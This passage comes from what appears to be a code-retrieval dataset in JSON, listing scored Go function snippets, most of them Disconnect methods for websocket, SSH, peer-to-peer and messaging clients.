s.GetEnv(libp2p.EnvConnectID)\n\tun := s.GetPeerAddr().User()\n\tif s.GetEnv(envDHT) == envValue {\n\t\tnode := dht.NodeID{}\n\t\tnode.PublicKey, _ = hex.DecodeString(un)\n\t\td.discDht.RemoveNode(&node)\n\t}\n\td.mu.Lock()\n\tdefer d.mu.Unlock()\n\n\tdelete(d.conns, cid)\n\tids := d.users[un]\n\tfor i, id := range ids {\n\t\tif id != cid {\n\t\t\tcontinue\n\t\t}\n\t\tids[i] = \"\"\n\t\tif ids == [maxConnPreUser]string{} {\n\t\t\tdelete(d.users, un)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "9d497952f239cb499abab3ca005d48dc", "score": "0.5222445", "text": "func (w *Window) SetDelPopup(pop ki.Ki) {\n\tw.PopMu.Lock()\n\tw.DelPopup = pop\n\tw.PopMu.Unlock()\n}", "title": "" }, { "docid": "0ede9b3d2121e2058b2365edc69c5bd4", "score": "0.5181249", "text": "func (c *wsConn) Disconnect(reason string) {\n\tif c.ws != nil {\n\t\tc.Tracef(\"Disconnecting - %s\", reason)\n\t\tc.ws.Close()\n\t}\n}", "title": "" }, { "docid": "3613cb87894bfb6a4f00fc308404bed4", "score": "0.5121086", "text": "func Disconnect(request APIGatewayWebsocketProxyRequest) (interface{}, error) {\n\tid := request.RequestContext.Authorizer.(map[string]interface{})[\"cognito:username\"].(string)\n\tconnectionID := request.RequestContext.ConnectionID\n\tRemoveSocket(id, connectionID)\n\n\treturn events.APIGatewayProxyResponse{\n\t\tStatusCode: 200,\n\t}, nil\n}", "title": "" }, { "docid": "ec7fcf6e39d62f403134eb1da340f9d2", "score": "0.5097008", "text": "func (h Hub) Disconnect(c Conn, topics ...Topic) {\n\th <- Disconnect{\n\t\tConn: c,\n\t\tTopics: topics,\n\t}\n}", "title": "" }, { "docid": "f1bd4b98f78d38c39e05984dddc9a0cc", "score": "0.5076442", "text": "func (d *Disgord) Disconnect() error {\n\td.Lock()\n\tdefer d.Unlock()\n\treturn d.ws.Disconnect()\n}", "title": "" }, { "docid": "2f821e0c635f93efb358bc5871addf06", "score": "0.50585663", "text": "func (w *Window) PopPopup(pop ki.Ki) bool {\n\tnii, ok := pop.(Node2D)\n\tif ok {\n\t\tpvp := nii.AsViewport2D()\n\t\tif pvp != nil {\n\t\t\tpvp.DeletePopup()\n\t\t}\n\t}\n\tsz := len(w.PopupStack)\n\tif w.Popup == pop {\n\t\tif w.PopupStack == nil || sz == 0 {\n\t\t\tw.Popup = nil\n\t\t} else {\n\t\t\tw.Popup = w.PopupStack[sz-1]\n\t\t\tw.PopupStack = w.PopupStack[:sz-1]\n\t\t}\n\t\treturn true\n\t} else {\n\t\tfor i := sz - 1; i >= 0; i-- {\n\t\t\tpp := w.PopupStack[i]\n\t\t\tif pp == pop {\n\t\t\t\tw.PopupStack = w.PopupStack[:i+copy(w.PopupStack[i:], w.PopupStack[i+1:])]\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\t// do nothing\n\t}\n\treturn false\n}", "title": "" }, { "docid": "44f88a82913849b64b051c19970df7ca", "score": "0.49511302", "text": "func (ex ExchangeData) PeerDisconnect(client *network.PeerClient) {\n\t// 失去连接\n\t// 一致性hash更新\n\tex.con.Remove(Member{client.Address, client})\n}", "title": "" }, { "docid": "d37e2c1ba0d5496b2c65db1bf67cef43", "score": "0.48734775", "text": "func (w *spvWallet) Disconnect() {\n\tw.cancel()\n\tw.wg.Wait()\n}", "title": "" }, { "docid": "d37e2c1ba0d5496b2c65db1bf67cef43", "score": "0.48734775", "text": "func (w *spvWallet) Disconnect() {\n\tw.cancel()\n\tw.wg.Wait()\n}", "title": "" }, { "docid": "96e7af26ad218f695629e6efabb7ba36", "score": "0.486032", "text": "func DisconnectMouse() {\n\tconnected = false\n\tunregisterMouseCallbacks()\n\tbuttonsDown = nil\n}", "title": "" }, { "docid": "f6045ae19807a0b8d4569cb7f66e9aa4", "score": "0.4840666", "text": "func (s Session) Disconnect() {\n\tC.ssh_disconnect(s.ptr)\n}", "title": "" }, { "docid": "98647f2034eb3e3f594c542b4bed58e2", "score": "0.4832264", "text": "func (e *Event) Disconnect(c *session.Client) {\n\te.logger.Info(fmt.Sprintf(\"Disconnect() - client with username: %s and ID: %s disconenectd\", c.Username, c.ID))\n}", "title": "" }, { "docid": "9035670a1e2514f8fc5e207ce0f11037", "score": "0.48240027", "text": "func (c *Websocket) Disconnect() *Websocket {\n\tif c.conn == nil || c.isClosed {\n\t\treturn c\n\t}\n\tc.isClosed = true\n\tif err := c.conn.Close(); err != nil {\n\t\tc.chain.fail(\"close error when disconnecting webcoket: \" + err.Error())\n\t}\n\treturn c\n}", "title": "" }, { "docid": "04624507f19451e8e43d3befc1a81867", "score": "0.47540158", "text": "func (c *Client) Disconnect() error {\n\terr := c.ws.Close()\n\treturn err\n}", "title": "" }, { "docid": "bae236a5ced678bf63652260fe2d8768", "score": "0.47496933", "text": "func Disconnect(connector Interface) error {\n\n return connector.Disconnect()\n}", "title": "" }, { "docid": "ad5b646e2691c41160ce7c921f7cf62a", "score": "0.47453326", "text": "func (s *Shell) Disconnect() {\n\tif s.state.clientStarted {\n\t\ts.state.clientStarted = false\n\t\ts.client.Exit()\n\t}\n}", "title": "" }, { "docid": "fa409e38a03f91f3a0a9cd7e782c546a", "score": "0.47261795", "text": "func (h *LibP2PHost) Disconnect(ctx context.Context, publicKey *ecdsa.PublicKey) error {\n\tpeerID, err := peer.IDFromPublicKey(p2pPublicKeyFromEcdsaPublic(publicKey))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could not convert public key to peer id: %v\", err)\n\t}\n\n\treturn h.host.Network().ClosePeer(peerID)\n}", "title": "" }, { "docid": "0b4ec89858dc6499333c47192abb542b", "score": "0.47181842", "text": "func (w *Window) DeleteTooltip() {\n\tw.PopMu.RLock()\n\tif w.CurPopupIsTooltip() {\n\t\tw.delPop = true\n\t}\n\tw.PopMu.RUnlock()\n}", "title": "" }, { "docid": "d6d83e35a3a09817b1db5faae892e53a", "score": "0.47076407", "text": "func (o *NetworkManager_VPN_Plugin) Disconnect(ctx context.Context) (err error) {\n\terr = o.object.CallWithContext(ctx, InterfaceNetworkManager_VPN_Plugin+\".Disconnect\", 0).Store()\n\treturn\n}", "title": "" }, { "docid": "ffb61dde11ba7cc9bcf474d3fe7d7187", "score": "0.46594256", "text": "func (s *GServer) DisconnectEndpoint(\n\tclientID string) error {\n\n\tlog.Printf(\"Disconnecting %s\", clientID)\n\n\tclient, ok := s.connectedClients[clientID]\n\n\tif !ok {\n\t\tlog.Printf(\"[!] client with uuuid: %s does not exist\\n\", clientID)\n\t\treturn fmt.Errorf(\"disconnectendpoint failed - client does not exist\")\n\t}\n\n\tcontrolMessage := new(cs.EndpointControlMessage)\n\tcontrolMessage.Operation = common.EndpointCtrlDisconnect\n\n\tclient.endpointInput <- controlMessage\n\treturn nil\n}", "title": "" }, { "docid": "2a39da6c19e9ea829bd788c056774200", "score": "0.46409273", "text": "func (h *Handler) Disconnect(c *session.Client) {\n\th.logger.Info(fmt.Sprintf(\"Disconnect() - client with username: %s and ID: %s disconenected\", c.Username, c.ID))\n}", "title": "" }, { "docid": "f332ee421211f64b1ec121d230d40781", "score": "0.4610665", "text": "func (i *Instance) DisconnectDB(name string) error {\n\tif val, ok := noawebinst.dbConnections[name]; ok {\n\t\tval.Close()\n\t\treturn nil\n\t}\n\treturn errors.New(\"Noaweb.DissconnectDB: Could not find given connection\")\n}", "title": "" }, { "docid": "09d0c255dfa1a847b70e4cb366e4aeed", "score": "0.46095023", "text": "func (that *Link) disconnectNotify() {\n\tlog.Debug(\"[p2p]call disconnectNotify for\", \"Addr\", that.GetAddr())\n\tthat.CloseConn()\n\n\tmsg, _ := common.MakeEmptyMessage(common.DISCONNECT_TYPE)\n\tdiscMsg := &common.MsgPayload{\n\t\tId: that.id,\n\t\tAddr: that.addr,\n\t\tPayload: msg,\n\t}\n\tthat.recvChan <- discMsg\n}", "title": "" }, { "docid": "533e5ffa9c2a81f33d71db3fac68597a", "score": "0.46037546", "text": "func (p *PktPiper) Disconnect(h PktHandler) {\n\t// Delete handler\n\tp.d.delHandler(h)\n\n\t// Disconnect nodes\n\tastiencoder.DisconnectNodes(p, h)\n}", "title": "" }, { "docid": "93c543953b5febf13b063a8e29b3d258", "score": "0.4599611", "text": "func Disconnect(id *cwfprotos.DisconnectRequest) (*cwfprotos.DisconnectResponse, error) {\n\tcli, err := getUESimClient()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn cli.Disconnect(context.Background(), id)\n}", "title": "" }, { "docid": "ba05c882629a67880c7cb63f76e3a39c", "score": "0.459747", "text": "func (s Session) GetDisconnectMessage() string {\n\tmessage := C.ssh_get_disconnect_message(s.ptr)\n\tif message == nil {\n\t\treturn \"\"\n\t}\n\treturn C.GoString(message)\n}", "title": "" }, { "docid": "84f6ca5c743f97f0f90b5652400876b1", "score": "0.45909512", "text": "func (u *UDPRPC) Disconnect(address string, _ *struct{}) (err error) {\n\tif tcp := u.n.getTCP(); tcp != nil {\n\t\tif c := tcp.getConn(address); c != nil {\n\t\t\terr = c.Close()\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "24de4c087cd5f97e0bc98928c7405615", "score": "0.45903414", "text": "func (s *Session) Disconnect() error {\n\tif err := s.pw.write(s.sessionID, mtDisconnect, false); err != nil {\n\t\treturn err\n\t}\n\t/*\n\t\tDo not read server reply as on slow connections the TCP/IP connection is closed (by Server)\n\t\tbefore the reply can be read completely.\n\n\t\t// if err := s.pr.readSkip(); err != nil {\n\t\t// \treturn err\n\t\t// }\n\n\t*/\n\treturn nil\n}", "title": "" }, { "docid": "f3034371697386e860244798b93f5564", "score": "0.45688212", "text": "func (s *ChatSession) disconnect() {\n\t//remove user from SET\n\tRemoveUser(s.user)\n\n\t//close websocket\n\ts.peer.Close()\n\n\t//remove from Peers\n\tdelete(Peers, s.user)\n}", "title": "" }, { "docid": "ff27f543f619cf3e073d9fa5ef48e735", "score": "0.45645073", "text": "func (i *Indicator) Disconnect() {\n\tif !i.quitClosed {\n\t\tclose(i.quitChan)\n\t\ti.quitClosed = true\n\t}\n}", "title": "" }, { "docid": "e29ee29e3eee6b47c4d61291964b83f7", "score": "0.45638186", "text": "func (consumer Consumer) Disconnect() {\n\tconsumer.chManager.channel.Close()\n\tconsumer.chManager.connection.Close()\n}", "title": "" }, { "docid": "cebcf4d2a65ab5bd54eeb87f88c4e0a9", "score": "0.45396474", "text": "func (this *Channel) Disconnect() (int, []byte, error) {\n\tpayload := &PayloadHeader{Type: \"CLOSE\"}\n\tid := this.nextMsg()\n\tdata, err := this.encode(CAST_DEFAULT_SENDER, CAST_DEFAULT_RECEIVER, CAST_NS_CONN, payload.WithId(id))\n\treturn id, data, err\n}", "title": "" }, { "docid": "1c04d9f20f70cf84b1c1c07088e2295e", "score": "0.4533907", "text": "func (c *Communicator) Disconnect() error {\n\tc.lock.Lock()\n\tdefer c.lock.Unlock()\n\n\tif c.cancelKeepAlive != nil {\n\t\tc.cancelKeepAlive()\n\t}\n\n\tif c.config.sshAgent != nil {\n\t\tif err := c.config.sshAgent.Close(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif c.conn != nil {\n\t\tconn := c.conn\n\t\tc.conn = nil\n\t\treturn conn.Close()\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "383f72bfb6c2a1c2d760811b774e641b", "score": "0.4528615", "text": "func (p *peer) Disconnect() {\n\t// did we win the race?\n\tif atomic.AddInt32(&p.disconnect, 1) != 1 {\n\t\treturn\n\t}\n\tclose(p.quit)\n\tif atomic.LoadInt32(&p.connected) != 0 {\n\t\tp.conn.Close()\n\t}\n}", "title": "" }, { "docid": "8af4704f8758fa3a4ec775453eeb57dd", "score": "0.44998154", "text": "func (w *Window) DisconnectNode(recv ki.Ki) {\n\tfor _, es := range w.EventSigs {\n\t\tes.Disconnect(recv, nil)\n\t}\n}", "title": "" }, { "docid": "ac107b06c5d13f2286c6b28043979b0f", "score": "0.44855747", "text": "func (s Session) SilentDisconnect() {\n\tC.ssh_silent_disconnect(s.ptr)\n}", "title": "" }, { "docid": "ff55f481e19b8254810f42dbe581aa78", "score": "0.44810754", "text": "func DisconnectThing(cliId, chanId, token string) {\n\turl := fmt.Sprintf(\"%s/%s/%s/%s/%s\", serverAddr, channelsEP,\n\t\tchanId, thingsEP, cliId)\n\treq, err := http.NewRequest(\"DELETE\", url, nil)\n\tSendRequest(req, token, err)\n}", "title": "" }, { "docid": "af737416869f0f9dfb196d73e660ad5e", "score": "0.44797528", "text": "func (s *Subscriber) Disconnect() (e error) {\n\tif s.isConnected() {\n\t\tswitch strings.ToLower(s.messageProtocol) {\n\t\tcase \"stomp\":\n\t\t\te = s.stompConn.Unsubscribe(s.stompMsgHeader)\n\t\t\tif e != nil {\n\t\t\t\treturn errors.New(\"ERROR: Disconnect: unsubscribe [\" + s.messageProtocol + \"] failed with \" + fmt.Sprintf(\"%v\", e))\n\t\t\t}\n\t\t\te = s.stompConn.Disconnect(s.stompConnHeader)\n\t\t\tif e != nil {\n\t\t\t\treturn errors.New(\"ERROR: Disconnect: disconnect [\" + s.messageProtocol + \"] failed with \" + fmt.Sprintf(\"%v\", e))\n\t\t\t}\n\t\t\te = s.transportConn.Close()\n\t\t\tif e != nil {\n\t\t\t\treturn errors.New(\"ERROR: Disconnect: close [\" + s.transportProtocol + \"] failed with \" + fmt.Sprintf(\"%v\", e))\n\t\t\t}\n\t\tcase \"ssl\":\n\t\t\tfallthrough\n\t\tdefault:\n\n\t\t}\n\t\ts.connected = false\n\t\treturn nil\n\t}\n\treturn errors.New(\"ERROR: Disconnect: disconnect attempt when not connected\")\n}", "title": "" }, { "docid": "fec54b5b3fc51e309d6a717e01762b0f", "score": "0.44794953", "text": "func Disconnect(usb USB) {\n\tif pc, ok := usb.(PhoneConnecter); ok {\n\t\tfmt.Println(\"its a \", pc.name, \" Connector\")\n\t\treturn\n\t}\n\tfmt.Println(\"Unknown Connector\")\n}", "title": "" }, { "docid": "68d7107a31ae7903dc51537f0c7afaaa", "score": "0.44694898", "text": "func (client *SsntpTestClient) DisconnectNotify() {\n\tvar result Result\n\n\tgo client.SendResultAndDelEventChan(ssntp.NodeDisconnected, result)\n}", "title": "" }, { "docid": "ff6cff7b244e241b9fbc04e597dda301", "score": "0.4453765", "text": "func (self *Network) Disconnect(oneID, otherID string) error {\n\tconn := self.GetConn(oneID, otherID)\n\tif conn == nil {\n\t\treturn fmt.Errorf(\"connection between %v and %v does not exist\", oneID, otherID)\n\t}\n\tif !conn.Up {\n\t\treturn fmt.Errorf(\"%v and %v already disconnected\", oneID, otherID)\n\t}\n\n\tself.nodeMap[conn.One] <- &PeerEvent{\n\t\tType: PeerEventTypeDrop,\n\t\tPeer: conn.other.ID,\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "91a1692420afbb952e84cc0958c1e54d", "score": "0.44478735", "text": "func (w *Window) DeletePopupMenu(pop ki.Ki) bool {\n\tif !PopupIsMenu(pop) {\n\t\treturn false\n\t}\n\tif w.NextPopup != nil && PopupIsMenu(w.NextPopup) { // poping up another menu\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "300bb87021179dbb9c3878954d443dd2", "score": "0.4443733", "text": "func (vcenter *VCenter) Disconnect() error {\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\n\tif vcenter.client != nil {\n\t\tif err := vcenter.client.Logout(ctx); err != nil {\n\t\t\tfmt.Println(\"Worker\", vcenter.Worker, \": Could not disconnect properly from vcenter:\", vcenter.Hostname, err)\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "2d0d3499e7908260f27e15df1679c117", "score": "0.44347602", "text": "func (wm *WantManager) Disconnected(p peer.ID) {\n\twm.peerHandler.Disconnected(p)\n}", "title": "" }, { "docid": "7da0ae43fb52d3c20346d8aafec4c14b", "score": "0.44062617", "text": "func (exc *StackExchange) OnDisconnect(c *neffos.Conn) {\n\texc.delSubscriber <- closeAction{conn: c}\n}", "title": "" }, { "docid": "00348744b5e87bcd53af4c1a01c5eaaf", "score": "0.44032305", "text": "func (c *wsLink) disconnect() {\n\tc.quitMtx.Lock()\n\tdefer c.quitMtx.Unlock()\n\tif !c.on {\n\t\treturn\n\t}\n\tc.on = false\n\tc.conn.Close()\n\tclose(c.quit)\n}", "title": "" }, { "docid": "799112368560b278cbd0fbfbc92a7ea5", "score": "0.44011712", "text": "func (na *networkAPI) NetDisconnect(_ context.Context, p peer.ID) error {\n\treturn na.network.Network.Disconnect(p)\n}", "title": "" }, { "docid": "4ae3104a4d03adbc23389873011ce83a", "score": "0.43823674", "text": "func (c *Client) Disconnect() error {\n\tif !c.connActive.get() {\n\t\treturn ErrConnectionIsNotOpen\n\t}\n\n\tc.userDisconnect.Close()\n\n\treturn nil\n}", "title": "" }, { "docid": "cf794d0b611cd0385953234c2cea6a80", "score": "0.43774375", "text": "func NewDisconnect() *Disconnect {\n\treturn &Disconnect{}\n}", "title": "" }, { "docid": "0328a4a413cc27f57a7ad224ef8d8ff9", "score": "0.43690458", "text": "func (k *Kuzzle) Disconnect() error {\n\terr := k.protocol.Close()\n\tk.stopRetryingToConnect = true\n\n\tif err != nil {\n\t\treturn types.NewError(err.Error())\n\t}\n\tk.wasConnected = false\n\tk.EmitEvent(event.Disconnected, nil)\n\n\treturn nil\n}", "title": "" }, { "docid": "4f9275dac33c4654812a4a466d129acd", "score": "0.43568307", "text": "func (c *Connection) Disconnect(packet []byte) {\n\tgo c.networkImpl.disconnectClient(c, disconnectTypeDefault, packet)\n}", "title": "" }, { "docid": "0ebd72d9271c7f6d205501ec143ebbc1", "score": "0.43520287", "text": "func (c *Client) Disconnect() error {\n\tlog.Printf(\"Client-%s::Entering Disconnect()\", c.ID)\n\tdefer log.Printf(\"Client-%s::Leaving Disconnect()\", c.ID)\n\n\tfor _, conn := range c.Peers {\n\t\tvar reply int\n\n\t\tif conn.Conn == nil {\n\t\t\tlog.Println(\"Error: Peer's connection is nil\")\n\t\t\treturn fmt.Errorf(\"Error: Peer's connection is nil\")\n\t\t}\n\t\terr := conn.Conn.Call(\"NodeRPC.Disconnect\", &c.ID, &reply)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Error while disconnecting: %v\", err)\n\t\t\treturn nil\n\t\t}\n\t}\n\tc.Peers = nil\n\n\tif c.trafficGeneration == true && c.msgLoopRunning == true {\n\t\tc.msgLoopChan <- \" \"\n\t\tc.msgLoopRunning = false\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "9c6da3bb7d1fd8bee7749df621d19b78", "score": "0.4349692", "text": "func DialFakeDisconnect(dial DialFunc) (_ DialFunc, disconnect func() error) {\n\tif dial == nil {\n\t\tdial = func(proto string, url *url.URL, timeout time.Duration) (ably.Conn, error) {\n\t\t\treturn ably.DialWebsocket(proto, url, timeout)\n\t\t}\n\t}\n\n\tdisconnectReq := make(chan chan<- error, 1)\n\n\treturn func(proto string, url *url.URL, timeout time.Duration) (ably.Conn, error) {\n\t\t\tconn, err := dial(proto, url, timeout)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\treturn connWithFakeDisconnect{\n\t\t\t\tconn: conn,\n\t\t\t\tdisconnectReq: disconnectReq,\n\t\t\t\tclosed: make(chan struct{}),\n\t\t\t}, nil\n\t\t}, func() error {\n\t\t\terr := make(chan error)\n\t\t\tdisconnectReq <- err\n\t\t\treturn <-err\n\t\t}\n}", "title": "" }, { "docid": "c5f0d1c5694b3b7570503dd18560b3b5", "score": "0.4341634", "text": "func (n *Node) Disconnect(s *Session) error {\n\tif s.IsResumeable() {\n\t\tn.broker.FinishSession(s.GetID()) // nolint:errcheck\n\t}\n\n\tif n.IsShuttingDown() {\n\t\tif s.IsDisconnectable() {\n\t\t\treturn n.DisconnectNow(s)\n\t\t}\n\t} else {\n\t\tn.hub.RemoveSessionLater(s)\n\n\t\tif s.IsDisconnectable() {\n\t\t\treturn n.disconnector.Enqueue(s)\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "f9c2fcfd1dce9ed4ce182fbe3dded56b", "score": "0.43330476", "text": "func (c *Client) Disconnect() error {\n\tif c.connection == nil {\n\t\treturn errors.New(\"client is already disconnected\")\n\t}\n\tc.disconnectEvent.Type = DisconnectUser\n\tc.connection.Close()\n\treturn nil\n}", "title": "" }, { "docid": "021059462abf48bb9a5f67c66af63d8b", "score": "0.43299982", "text": "func (t *TCPRPC) Disconnect(address string, _ *struct{}) (err error) {\n\tif tcp := t.n.getTCP(); tcp != nil {\n\t\tif c := tcp.getConn(address); c != nil {\n\t\t\terr = c.Close()\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "7007c6e86345d6321e5078708f1934dc", "score": "0.43240783", "text": "func (s *Session) Disconnect() error {\n\ts.mutex.Lock()\n\n\tvar (\n\t\tkill = s.kill\n\t\tstopped = s.stopped\n\t)\n\n\tif stopped == nil {\n\t\ts.mutex.Unlock()\n\t\treturn errors.New(\"a connection to the session has not been established\")\n\t}\n\n\ts.log(\"Disconnecting\")\n\n\ts.mutex.Unlock()\n\n\tkill()\n\t<-stopped\n\n\treturn nil\n}", "title": "" }, { "docid": "2347f441ebbd5569dfda5814984d5e1f", "score": "0.43219167", "text": "func (f *Filterer) Disconnect(h FrameHandler) {\n\t// Delete handler\n\tf.d.delHandler(h)\n\n\t// Disconnect nodes\n\tastiencoder.DisconnectNodes(f, h)\n}", "title": "" }, { "docid": "69bb4c1ec6a4af16a8a32b207e4ac439", "score": "0.4305366", "text": "func (s *SNMPDriver) DisconnectDevice(deviceName string, protocols map[string]models.ProtocolProperties) error {\n\ts.lc.Warn(\"Driver's DisconnectDevice function didn't implement\")\n\treturn nil\n}", "title": "" }, { "docid": "609b12e08360dfae1493b1de82f28c5d", "score": "0.429361", "text": "func (cli *Client) Disconnect() {\n\tcli.socket.Write(Disconnect.String())\n}", "title": "" }, { "docid": "738e79ed7b2cd7d07aa68370fd0eee2a", "score": "0.42907825", "text": "func (obj *AdminConnectionImpl) Disconnect() types.TGError {\n\tlogger.Log(fmt.Sprint(\"Entering AdminConnectionImpl:Disconnect\"))\n\terr := obj.GetChannel().Disconnect()\n\tif err != nil {\n\t\tlogger.Error(fmt.Sprintf(\"ERROR: Returning AdminConnectionImpl:Disconnect - unable to channel.Disconnect() w/ error: '%s'\", err.Error()))\n\t\treturn err\n\t}\n\tlogger.Debug(fmt.Sprint(\"Inside AdminConnectionImpl::Disconnect about to obj.GetChannel().Stop()\"))\n\tobj.GetChannel().Stop(false)\n\tlogger.Log(fmt.Sprint(\"Returning AdminConnectionImpl:Disconnect\"))\n\treturn nil\n}", "title": "" }, { "docid": "056bf466722dc95924aebab17c520c34", "score": "0.42763624", "text": "func (g *Graph) Disconnect(a, b int) {\n\tg.edges[a].Remove(b)\n\tg.edges[b].Remove(a)\n}", "title": "" }, { "docid": "0b7f9d07be05d16b984047de7e1e2439", "score": "0.4275785", "text": "func (w *Window) CurPopup() ki.Ki {\n\tw.PopMu.RLock()\n\tcpop := w.Popup\n\tw.PopMu.RUnlock()\n\treturn cpop\n}", "title": "" }, { "docid": "602b850a0994456171119a040436bb6a", "score": "0.42716265", "text": "func Disconnect(dbase *parser.Database) {\n\tif dbase.Connection != nil {\n\t\tdbase.Connection.Close()\n\t}\n}", "title": "" }, { "docid": "6ba96a20a96699bef19d86deab94f1e4", "score": "0.42689815", "text": "func (s *Session) Disconnect() {\n\tif s.connection != nil {\n\t\terr := s.connection.Close()\n\t\tif err != nil {\n\t\t\tlogrus.Error(err)\n\t\t}\n\t\ts.connection = nil\n\t}\n}", "title": "" }, { "docid": "7db388bd7d9ff155d61710601adea293", "score": "0.42643306", "text": "func DecodeDisconnect(body []byte) (bool, error) {\n\treturn true, nil\n}", "title": "" }, { "docid": "a894897d93ca470df040fe83362c86cc", "score": "0.42619023", "text": "func NewDisconnectedDialog(icon *Icon, model *ConnectionModel) (dlg *DisconnectedDialog, err error) {\n\tdlg = &DisconnectedDialog{\n\t\tmodel: model,\n\t}\n\n\tsize := ui.Size{Width: 500, Height: 200}\n\n\tdlg.ui = &ui.Dialog{\n\t\tIcon: (*walk.Icon)(icon),\n\t\tTitle: dlg.title(),\n\t\tMinSize: size,\n\t\tMaxSize: size,\n\t\tLayout: ui.Grid{Columns: 2},\n\t\tAssignTo: &dlg.form,\n\t\tChildren: []ui.Widget{\n\t\t\tui.Label{Text: dlg.description(), Row: 0, Column: 0, ColumnSpan: 2},\n\t\t\tui.Label{Text: dlg.remaining(), AssignTo: &dlg.remainingLabel, Row: 1, Column: 0, ColumnSpan: 2},\n\t\t\tui.Label{Text: dlg.warning(), Row: 2, Column: 0, ColumnSpan: 2},\n\t\t\tui.VSpacer{Row: 3, Column: 0, ColumnSpan: 2},\n\t\t\tui.HSpacer{Row: 4, Column: 0},\n\t\t\tui.PushButton{\n\t\t\t\tRow: 4,\n\t\t\t\tColumn: 1,\n\t\t\t\tText: \"Ignore\",\n\t\t\t\tOnClicked: func() {\n\t\t\t\t\tdlg.form.Close(walk.DlgCmdAbort)\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tmodel.RefreshEvent().Attach(func() {\n\t\tdlg.form.SetTitle(dlg.title())\n\t\tdlg.remainingLabel.SetText(dlg.remaining())\n\t})\n\n\terr = dlg.ui.Create(nil)\n\n\treturn\n}", "title": "" }, { "docid": "6eae9f51bfea6bcff8e689365740c08a", "score": "0.42471007", "text": "func (sp *ScyllaOrganizationProvider) Disconnect() {\n\n\tsp.Lock()\n\tdefer sp.Unlock()\n\n}", "title": "" }, { "docid": "36fcff4e13d4eb9b1b54edbfc325132b", "score": "0.42454487", "text": "func (n *notifee) Disconnected(network p2pnet.Network, conn p2pnet.Conn) {\n\tlog.WithFields(map[string]interface{}{\n\t\t\"remotePeerID\": conn.RemotePeer(),\n\t\t\"remoteMultiaddress\": conn.RemoteMultiaddr(),\n\t}).Info(\"disconnected from peer\")\n}", "title": "" }, { "docid": "48792cd8b8b3ddcb584f97be1ed54d60", "score": "0.42441696", "text": "func (this *Protocol) onDisconnect(con Connection) {\n this.cliMutex.Lock()\n if this.cliMap[con.Id()] == nil {\n this.cliMutex.Unlock()\n return\n }\n\n delete(this.cliMap, con.Id())\n this.cliMutex.Unlock()\n\n this.evtMutex.Lock()\n this.evtHandler.OnDisconnect(con)\n this.evtMutex.Unlock()\n\n this.perfs.Increment(PERF_PROTO_DISCONNECT)\n\n log.Debug(\"Connection %v unregistered from Proto %v\", con.Id(), this.name)\n}", "title": "" }, { "docid": "6ff23fac76e2ea98ad18540390904ed1", "score": "0.42268124", "text": "func (c *client) Disconnect() error {\n\treturn c.DisconnectContext(c.context)\n}", "title": "" }, { "docid": "3293c9b27b0481410eb5536449d98619", "score": "0.42235932", "text": "func ExampleDataConnectorsClient_Disconnect() {\n\tcred, err := azidentity.NewDefaultAzureCredential(nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to obtain a credential: %v\", err)\n\t}\n\tctx := context.Background()\n\tclient, err := armsecurityinsights.NewDataConnectorsClient(\"d0cfe6b2-9ac0-4464-9919-dccaee2e48c0\", cred, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to create client: %v\", err)\n\t}\n\t_, err = client.Disconnect(ctx,\n\t\t\"myRg\",\n\t\t\"myWorkspace\",\n\t\t\"316ec55e-7138-4d63-ab18-90c8a60fd1c8\",\n\t\tnil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to finish the request: %v\", err)\n\t}\n}", "title": "" }, { "docid": "fdcd640c13d985834267097c4f232261", "score": "0.42221138", "text": "func (b *Bwhatsapp) Disconnect() error {\n\tb.wc.Disconnect()\n\n\treturn nil\n}", "title": "" }, { "docid": "ad6b0eacab96c5de64df1cd68e429dea", "score": "0.42219734", "text": "func (n *Node) DisconnectNow(s *Session) error {\n\tsessionSubscriptions := s.subscriptions.Channels()\n\n\tids := s.GetIdentifiers()\n\n\ts.Log.Debugf(\"Disconnect %s %s %v %v\", ids, s.env.URL, s.env.Headers, sessionSubscriptions)\n\n\terr := n.controller.Disconnect(\n\t\ts.GetID(),\n\t\ts.env,\n\t\tids,\n\t\tsessionSubscriptions,\n\t)\n\n\tif err != nil {\n\t\ts.Log.Errorf(\"Disconnect error: %v\", err)\n\t}\n\n\treturn err\n}", "title": "" }, { "docid": "e369b0dce9445823e98555cc78cd87aa", "score": "0.42213473", "text": "func DisconnectFromPacketDisconnect(p *packets.Disconnect) *Disconnect {\n\tv := &Disconnect{ReasonCode: p.ReasonCode}\n\tv.InitProperties(p.Properties)\n\n\treturn v\n}", "title": "" }, { "docid": "a41fadc954c3bb4ef48e82c60ec834db", "score": "0.42174947", "text": "func (s *GitUploadPackService) Disconnect() (err error) {\n\tif !s.connected {\n\t\treturn ErrNotConnected\n\t}\n\ts.connected = false\n\treturn s.client.Close()\n}", "title": "" }, { "docid": "530a83d850e39efe433dfd59434d5778", "score": "0.421584", "text": "func NewDisconnectMessage() Message {\n\treturn newMessage(Disconnect)\n}", "title": "" }, { "docid": "5e881ed2d3604a7940025ec7d14fc9b2", "score": "0.42003658", "text": "func (kb *Keyboard) Disconnect(client *Client) error {\n\tkb.Lock()\n\tdefer kb.Unlock()\n\n\tif client == nil || client.Dev != kb.client.Dev {\n\t\treturn nil\n\t}\n\n\tlogrus.WithField(\"client\", client.Dev).Infoln(\"Disconnecting\")\n\n\tdefer func() {\n\t\tclose(kb.client.Done)\n\t\tkb.client = nil\n\t}()\n\n\tif err := 